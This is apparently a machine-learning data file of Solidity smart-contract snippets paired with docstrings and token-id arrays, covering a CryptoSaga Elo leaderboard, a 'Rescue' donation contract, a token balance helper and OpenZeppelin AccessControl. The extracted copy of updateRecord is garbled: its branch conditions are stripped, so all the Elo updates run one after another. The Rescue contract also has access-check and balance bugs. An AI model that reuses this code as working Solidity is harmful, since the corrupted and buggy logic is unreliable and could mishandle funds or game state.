returns (uint32 currentLevel, uint32 currentExp, uint32[5] currentStats, uint32[5] ivs, uint32 bp)
{
var (, , _currentLevel, _currentExp, , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokenId);
if (_currentLevel != 1) {
for (uint8 i = 0; i < 5; i ++) {
_currentStats[i] += _ivs[i];
}
}
var _bp = _currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4];
return (_currentLevel, _currentExp, _currentStats, _ivs, _bp);
}
// @dev Get corrected total BP of the address.
function getCorrectedTotalBPOfAddress(address _address)
external view
returns (uint32)
{
var _balance = heroContract.balanceOf(_address);
uint32 _totalBP = 0;
for (uint256 i = 0; i < _balance; i ++) {
var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(heroContract.getTokenIdOfAddressAndIndex(_address, i));
if (_currentLevel != 1) {
for (uint8 j = 0; j < 5; j ++) {
_currentStats[j] += _ivs[j];
}
}
_totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]);
}
return _totalBP;
}
// @dev Get corrected total BP of the address.
function getCorrectedTotalBPOfTokens(uint256[] _tokens)
external view
returns (uint32)
{
uint32 _totalBP = 0;
for (uint256 i = 0; i < _tokens.length; i ++) {
var (, , _currentLevel, , , , _currentStats, _ivs, ) = heroContract.getHeroInfo(_tokens[i]);
if (_currentLevel != 1) {
for (uint8 j = 0; j < 5; j ++) {
_currentStats[j] += _ivs[j];
}
}
_totalBP += (_currentStats[0] + _currentStats[1] + _currentStats[2] + _currentStats[3] + _currentStats[4]);
}
return _totalBP;
}
}
/**
* @title CryptoSagaArenaRecord
* @dev The record of battles in the Arena.
*/
contract CryptoSagaArenaRecord is Pausable, AccessDeploy {
// Number of players for the leaderboard.
uint8 public numberOfLeaderboardPlayers = 25;
// Top players in the leaderboard.
address[] public leaderBoardPlayers;
// For checking whether the player is in the leaderboard.
mapping(address => bool) public addressToIsInLeaderboard;
// Number of recent player recorded for matchmaking.
uint8 public numberOfRecentPlayers = 50;
// List of recent players.
address[] public recentPlayers;
// Front of recent players.
uint256 public recentPlayersFront;
// Back of recent players.
uint256 public recentPlayersBack;
// Record of each player.
mapping(address => uint32) public addressToElo;
// Event that is fired when a new change has been made to the leaderboard.
event UpdateLeaderboard(
address indexed _by,
uint256 _dateTime
);
// @dev Get elo rating of a player.
function getEloRating(address _address)
external view
returns (uint32)
{
if (addressToElo[_address] != 0)
return addressToElo[_address];
else
return 1500;
}
// @dev Get players in the leaderboard.
function getLeaderboardPlayers()
external view
returns (address[])
{
return leaderBoardPlayers;
}
// @dev Get current length of the leaderboard.
function getLeaderboardLength()
external view
returns (uint256)
{
return leaderBoardPlayers.length;
}
// @dev Get recently played players.
function getRecentPlayers()
external view
returns (address[])
{
return recentPlayers;
}
// @dev Get current number of players in the recently played players queue.
function getRecentPlayersCount()
public view
returns (uint256)
{
return recentPlayersBack - recentPlayersFront;
}
// @dev Constructor.
function CryptoSagaArenaRecord(
address _previousSeasonRecord,
uint8 _numberOfLeaderboardPlayers,
uint8 _numberOfRecentPlayers)
public
{
numberOfLeaderboardPlayers = _numberOfLeaderboardPlayers;
numberOfRecentPlayers = _numberOfRecentPlayers;
// Get instance of previous season.
CryptoSagaArenaRecord _previous = CryptoSagaArenaRecord(_previousSeasonRecord);
for (uint256 i = _previous.recentPlayersFront(); i < _previous.recentPlayersBack(); i++) {
var _player = _previous.recentPlayers(i);
// The initial player's Elo.
addressToElo[_player] = _previous.getEloRating(_player);
}
}
// @dev Update record.
function updateRecord(address _myAddress, address _enemyAddress, bool _didWin)
whenNotPaused onlyAccessDeploy
public
{
address _winnerAddress = _didWin? _myAddress: _enemyAddress;
address _loserAddress = _didWin? _enemyAddress: _myAddress;
// Initial value of Elo.
uint32 _winnerElo = addressToElo[_winnerAddress];
if (_winnerElo == 0)
_winnerElo = 1500;
uint32 _loserElo = addressToElo[_loserAddress];
if (_loserElo == 0)
_loserElo = 1500;
// Adjust Elo.
if (_winnerElo >= _loserElo) {
if (_winnerElo - _loserElo < 50) {
addressToElo[_winnerAddress] = _winnerElo + 5;
addressToElo[_loserAddress] = _loserElo - 5;
} else if (_winnerElo - _loserElo < 80) {
addressToElo[_winnerAddress] = _winnerElo + 4;
addressToElo[_loserAddress] = _loserElo - 4;
} else if (_winnerElo - _loserElo < 150) {
addressToElo[_winnerAddress] = _winnerElo + 3;
addressToElo[_loserAddress] = _loserElo - 3;
} else if (_winnerElo - _loserElo < 250) {
addressToElo[_winnerAddress] = _winnerElo + 2;
addressToElo[_loserAddress] = _loserElo - 2;
} else {
addressToElo[_winnerAddress] = _winnerElo + 1;
addressToElo[_loserAddress] = _loserElo - 1;
}
} else {
if (_loserElo - _winnerElo < 50) {
addressToElo[_winnerAddress] = _winnerElo + 5;
addressToElo[_loserAddress] = _loserElo - 5;
} else if (_loserElo - _winnerElo < 80) {
addressToElo[_winnerAddress] = _winnerElo + 6;
addressToElo[_loserAddress] = _loserElo - 6;
} else if (_loserElo - _winnerElo < 150) {
addressToElo[_winnerAddress] = _winnerElo + 7;
addressToElo[_loserAddress] = _loserElo - 7;
} else if (_loserElo - _winnerElo < 250) {
addressToElo[_winnerAddress] = _winnerElo + 8;
addressToElo[_loserAddress] = _loserElo - 8;
} else {
addressToElo[_winnerAddress] = _winnerElo + 9;
addressToElo[_loserAddress] = _loserElo - 9;
}
}
// Update recent players list.
if (!isPlayerInQueue(_myAddress)) {
// If the queue is full, pop a player.
if (getRecentPlayersCount() >= numberOfRecentPlayers)
popPlayer();
// Push _myAddress to the queue.
pushPlayer(_myAddress);
}
// Update leaderboards.
if(updateLeaderboard(_enemyAddress) || updateLeaderboard(_myAddress))
{
UpdateLeaderboard(_myAddress, now);
}
}
// @dev Update leaderboard.
function updateLeaderboard(address _addressToUpdate)
whenNotPaused
private
returns (bool isChanged)
{
// If this players is already in the leaderboard, there's no need for replace the minimum recorded player.
if (addressToIsInLeaderboard[_addressToUpdate]) {
// Do nothing.
} else {
if (leaderBoardPlayers.length >= numberOfLeaderboardPlayers) {
// Need to replace existing player.
// First, we need to find the player with miminum Elo value.
uint32 _minimumElo = 99999;
uint8 _minimumEloPlayerIndex = numberOfLeaderboardPlayers;
for (uint8 i = 0; i < leaderBoardPlayers.length; i ++) {
if (_minimumElo > addressToElo[leaderBoardPlayers[i]]) {
_minimumElo = addressToElo[leaderBoardPlayers[i]];
_minimumEloPlayerIndex = i;
}
}
// Second, if the minimum elo value is smaller than the player's elo value, then replace the entity.
if (_minimumElo <= addressToElo[_addressToUpdate]) {
addressToIsInLeaderboard[leaderBoardPlayers[_minimumEloPlayerIndex]] = false;
leaderBoardPlayers[_minimumEloPlayerIndex] = _addressToUpdate;
addressToIsInLeaderboard[_addressToUpdate] = true;
isChanged = true;
}
} else {
// The list is not full yet.
// Just add the player to the list.
leaderBoardPlayers.push(_addressToUpdate);
addressToIsInLeaderboard[_addressToUpdate] = true;
isChanged = true;
}
}
}
// #dev Check whether contain the element or not.
function isPlayerInQueue(address _player)
view private
returns (bool isContain)
{
isContain = false;
for (uint256 i = recentPlayersFront; i < recentPlayersBack; i++) {
if (_player == recentPlayers[i]) {
isContain = true;
}
}
}
// @dev Push a new player into the queue.
function pushPlayer(address _player)
private
{
recentPlayers.push(_player);
recentPlayersBack++;
}
// @dev Pop the oldest player in this queue.
function popPlayer()
private
returns (address player)
{
if (recentPlayersBack == recentPlayersFront)
return address(0);
player = recentPlayers[recentPlayersFront];
delete recentPlayers[recentPlayersFront];
recentPlayersFront++;
}
} | @dev Update record. Initial value of Elo. Adjust Elo. Update recent players list. If the queue is full, pop a player. Push _myAddress to the queue. | function updateRecord(address _myAddress, address _enemyAddress, bool _didWin)
whenNotPaused onlyAccessDeploy
public
{
address _winnerAddress = _didWin? _myAddress: _enemyAddress;
address _loserAddress = _didWin? _enemyAddress: _myAddress;
uint32 _winnerElo = addressToElo[_winnerAddress];
if (_winnerElo == 0)
_winnerElo = 1500;
uint32 _loserElo = addressToElo[_loserAddress];
if (_loserElo == 0)
_loserElo = 1500;
if (_winnerElo >= _loserElo) {
if (_winnerElo - _loserElo < 50) {
addressToElo[_winnerAddress] = _winnerElo + 5;
addressToElo[_loserAddress] = _loserElo - 5;
addressToElo[_winnerAddress] = _winnerElo + 4;
addressToElo[_loserAddress] = _loserElo - 4;
addressToElo[_winnerAddress] = _winnerElo + 3;
addressToElo[_loserAddress] = _loserElo - 3;
addressToElo[_winnerAddress] = _winnerElo + 2;
addressToElo[_loserAddress] = _loserElo - 2;
addressToElo[_winnerAddress] = _winnerElo + 1;
addressToElo[_loserAddress] = _loserElo - 1;
}
if (_loserElo - _winnerElo < 50) {
addressToElo[_winnerAddress] = _winnerElo + 5;
addressToElo[_loserAddress] = _loserElo - 5;
addressToElo[_winnerAddress] = _winnerElo + 6;
addressToElo[_loserAddress] = _loserElo - 6;
addressToElo[_winnerAddress] = _winnerElo + 7;
addressToElo[_loserAddress] = _loserElo - 7;
addressToElo[_winnerAddress] = _winnerElo + 8;
addressToElo[_loserAddress] = _loserElo - 8;
addressToElo[_winnerAddress] = _winnerElo + 9;
addressToElo[_loserAddress] = _loserElo - 9;
}
}
if (!isPlayerInQueue(_myAddress)) {
if (getRecentPlayersCount() >= numberOfRecentPlayers)
popPlayer();
pushPlayer(_myAddress);
}
{
UpdateLeaderboard(_myAddress, now);
}
}
| 1,143,337 | [
1,
1891,
1409,
18,
10188,
460,
434,
512,
383,
18,
17720,
512,
383,
18,
2315,
8399,
18115,
666,
18,
971,
326,
2389,
353,
1983,
16,
1843,
279,
7291,
18,
8547,
389,
4811,
1887,
358,
326,
2389,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
1089,
2115,
12,
2867,
389,
4811,
1887,
16,
1758,
389,
275,
351,
93,
1887,
16,
1426,
389,
14044,
18049,
13,
203,
565,
1347,
1248,
28590,
1338,
1862,
10015,
203,
565,
1071,
203,
225,
288,
203,
565,
1758,
389,
91,
7872,
1887,
273,
389,
14044,
18049,
35,
389,
4811,
1887,
30,
389,
275,
351,
93,
1887,
31,
203,
565,
1758,
389,
383,
550,
1887,
273,
389,
14044,
18049,
35,
389,
275,
351,
93,
1887,
30,
389,
4811,
1887,
31,
203,
377,
203,
565,
2254,
1578,
389,
91,
7872,
41,
383,
273,
1758,
774,
41,
383,
63,
67,
91,
7872,
1887,
15533,
203,
565,
309,
261,
67,
91,
7872,
41,
383,
422,
374,
13,
203,
1377,
389,
91,
7872,
41,
383,
273,
4711,
713,
31,
203,
565,
2254,
1578,
389,
383,
550,
41,
383,
273,
1758,
774,
41,
383,
63,
67,
383,
550,
1887,
15533,
203,
565,
309,
261,
67,
383,
550,
41,
383,
422,
374,
13,
203,
1377,
389,
383,
550,
41,
383,
273,
4711,
713,
31,
203,
203,
565,
309,
261,
67,
91,
7872,
41,
383,
1545,
389,
383,
550,
41,
383,
13,
288,
203,
1377,
309,
261,
67,
91,
7872,
41,
383,
300,
389,
383,
550,
41,
383,
411,
6437,
13,
288,
203,
3639,
1758,
774,
41,
383,
63,
67,
91,
7872,
1887,
65,
273,
389,
91,
7872,
41,
383,
397,
1381,
31,
203,
3639,
1758,
774,
41,
383,
63,
67,
383,
550,
1887,
65,
273,
389,
383,
550,
41,
383,
300,
1381,
31,
203,
3639,
1758,
774,
41,
383,
63,
2
] |
./full_match/80001/0x7634F67cB9C73cC924E499044310B1f902F321E8/sources/project_/contracts/STokenV1.sol | @dev Returns currently available amount of tokens to use (transfer) by `_account`: calculates the difference between the whole balance of tokens and locked tokens on the `_account` | function _availableBalance(address _account)
internal
view
override
returns (uint256)
{
return balanceOf(_account) - getAmountOfLockedTokens(_account);
}
| 5,603,898 | [
1,
1356,
4551,
2319,
3844,
434,
2430,
358,
999,
261,
13866,
13,
635,
1375,
67,
4631,
68,
30,
1377,
17264,
326,
7114,
3086,
326,
7339,
11013,
434,
2430,
471,
1377,
8586,
2430,
603,
326,
1375,
67,
4631,
68,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
5699,
13937,
12,
2867,
389,
4631,
13,
203,
3639,
2713,
203,
3639,
1476,
203,
3639,
3849,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
11013,
951,
24899,
4631,
13,
300,
24418,
951,
8966,
5157,
24899,
4631,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
//@title RescuePlatform
contract Rescue {
//owner of address
address public owner;
//keep count of different users
uint userCount;
uint donorCount;
uint helperCount;
//map to a struct users, donor, helpers
mapping(address => User) public users;
mapping(address => Donor) public donors;
mapping(address => Helper) public helpers;
mapping (address => uint) public balances;
//keep track of states of users
enum Status { Donor, User, Helper }
//only owner can call
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
//only donor can call function
modifier onlyDonor() {
require(donors[msg.sender].status == Status.Donor);
_;
}
//only user can call
modifier onlyUser() {
require(users[msg.sender].status == Status.User);
_;
}
//only helper can call function
modifier onlyHelper() {
require(users[msg.sender].status == Status.Helper);
_;
}
//**@dev event emitters */
event userCreated(uint usno, address user, string name, string location, uint bal);
event helperCreated( uint ddno, address helper, string name, string location, uint bal);
event donorCreated(uint hpno, address donor, string name, string location, uint bal);
event userTohelper(address user, address helper, uint amountTransferred);
event donorTouser(address donor, address user, uint amountTransferred);
event helperWithdrawal(address helper, uint amountWithdraw, uint totalbal);
//runs only once on contract deployements sets initial counts to 0
constructor() public {
owner = msg.sender;
userCount = 66;
donorCount = 0;
helperCount = 0;
}
//user struct
struct User {
uint usno;
address user;
string name;
string location;
Status status;
uint bal;
}
address[] userAddresslist;
//user struct
struct Donor {
uint dnno;
address donor;
string name;
string location;
Status status;
uint bal;
}
//user struct
struct Helper {
uint hpno;
address helper;
string name;
string location;
Status status;
uint bal;
}
//get balance of msg.sender
function getBalance() public view returns (uint){
return msg.sender.balance;
}
//get balance of a user balance
function getUserBal() public view returns (uint){
return users[msg.sender].bal;
}
//get balance of a Helper balance
function getHelperbal() public view returns(uint){
return helpers[msg.sender].bal;
}
// get total user count
function getUserCount() public view returns (uint){
return userCount;
}
//get total donor count
function getDonorCount() public view returns (uint){
return donorCount;
}
//get total helper count
function getHelperCount() public view returns (uint){
return helperCount;
}
function getuserAddresslist() public view returns (address[] memory) {
return userAddresslist;
}
//@param: user will set name and location
//@dev: upgradeable to uport identity
//returns bool
function setNewuser(string memory _name, string memory _location) public returns (bool) {
require(msg.sender != users[msg.sender].user);
require(msg.sender != owner);
require (msg.sender != donors[msg.sender].donor);
require(msg.sender != helpers[msg.sender].helper);
users[msg.sender] = User({ usno: userCount, user: msg.sender, name: _name, location: _location, status: Status.User, bal:0});
userCount = userCount + 1;
emit userCreated(userCount, msg.sender, _name, _location, users[msg.sender].bal);
userAddresslist.push(msg.sender);
return true;
}
//@param: donor will set name and location
//@dev: upgradeable to uport identity
//returns bool
function setDonor(string memory _name, string memory _location) public returns (bool) {
require(msg.sender != users[msg.sender].user);
require (msg.sender != donors[msg.sender].donor);
require(msg.sender != helpers[msg.sender].helper);
donors[msg.sender] = Donor({ dnno: donorCount, donor: msg.sender, name: _name, location: _location, status: Status.Donor, bal: msg.sender.balance});
donorCount = donorCount + 1;
emit donorCreated(donorCount, msg.sender, _name, _location, msg.sender.balance);
return true;
}
//@param: helper will set name and location
//@dev: upgradeable to uport identity
//returns bool
function setHelper(string memory _name, string memory _location) public returns (bool) {
require(msg.sender != users[msg.sender].user);
require (msg.sender != donors[msg.sender].donor);
require(msg.sender != helpers[msg.sender].helper);
helpers[msg.sender] = Helper({ hpno:helperCount, helper:msg.sender, name: _name, location: _location, status: Status.Helper, bal: 0});
helperCount = helperCount + 1;
emit helperCreated(helperCount, msg.sender, _name, _location, msg.sender.balance);
return true;
}
//@param - address
//@dev - only allows donators to keep ETH balances and transfer to Users balances, if user is not in mapping
//error will throw
//works
function donate(address _to) public payable onlyDonor returns (bool){
require(_to == users[_to].user && msg.sender == donors[msg.sender].donor);
// require that reciever of donation address is in user mapping
require(msg.sender.balance >= msg.value);
donors[msg.sender].bal -= msg.value;
users[_to].bal += msg.value;
emit donorTouser(msg.sender, _to, msg.value);
return true;
}
//@param address of helper to donate to and amount of donation
//@dev fx is to allow users to make purchases from the helper for disaster relief items
//if not in the users mapping fx will fail
function userBuyfromHelper(address _to, uint amount) public payable onlyUser returns (bool){
require(msg.sender == users[msg.sender].user && _to == helpers[_to].helper);
// require that reciever of donation address is in user mapping
require(users[msg.sender].bal >= amount);
users[msg.sender].bal -= amount;
helpers[_to].bal += amount;
emit userTohelper(msg.sender, _to, amount);
return true;
}
//@param uint - amount of withdrawal /
//@dev allows a registered helper to withdraw the funds recieved from Users
function helperWithdraw(uint withdrawalAmount) public onlyHelper returns (uint){
require(msg.sender == helpers[msg.sender].helper && withdrawalAmount <= helpers[msg.sender].bal);
helpers[msg.sender].bal -= withdrawalAmount;
balances[msg.sender] += withdrawalAmount;
helpers[msg.sender].bal = 0;
emit helperWithdrawal(msg.sender, withdrawalAmount, withdrawalAmount + msg.sender.balance);
return msg.sender.balance;
}
} | **@dev event emitters */ | event userCreated(uint usno, address user, string name, string location, uint bal);
| 12,777,689 | [
1,
2575,
3626,
5432,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
871,
729,
6119,
12,
11890,
584,
2135,
16,
1758,
729,
16,
533,
508,
16,
533,
2117,
16,
2254,
324,
287,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
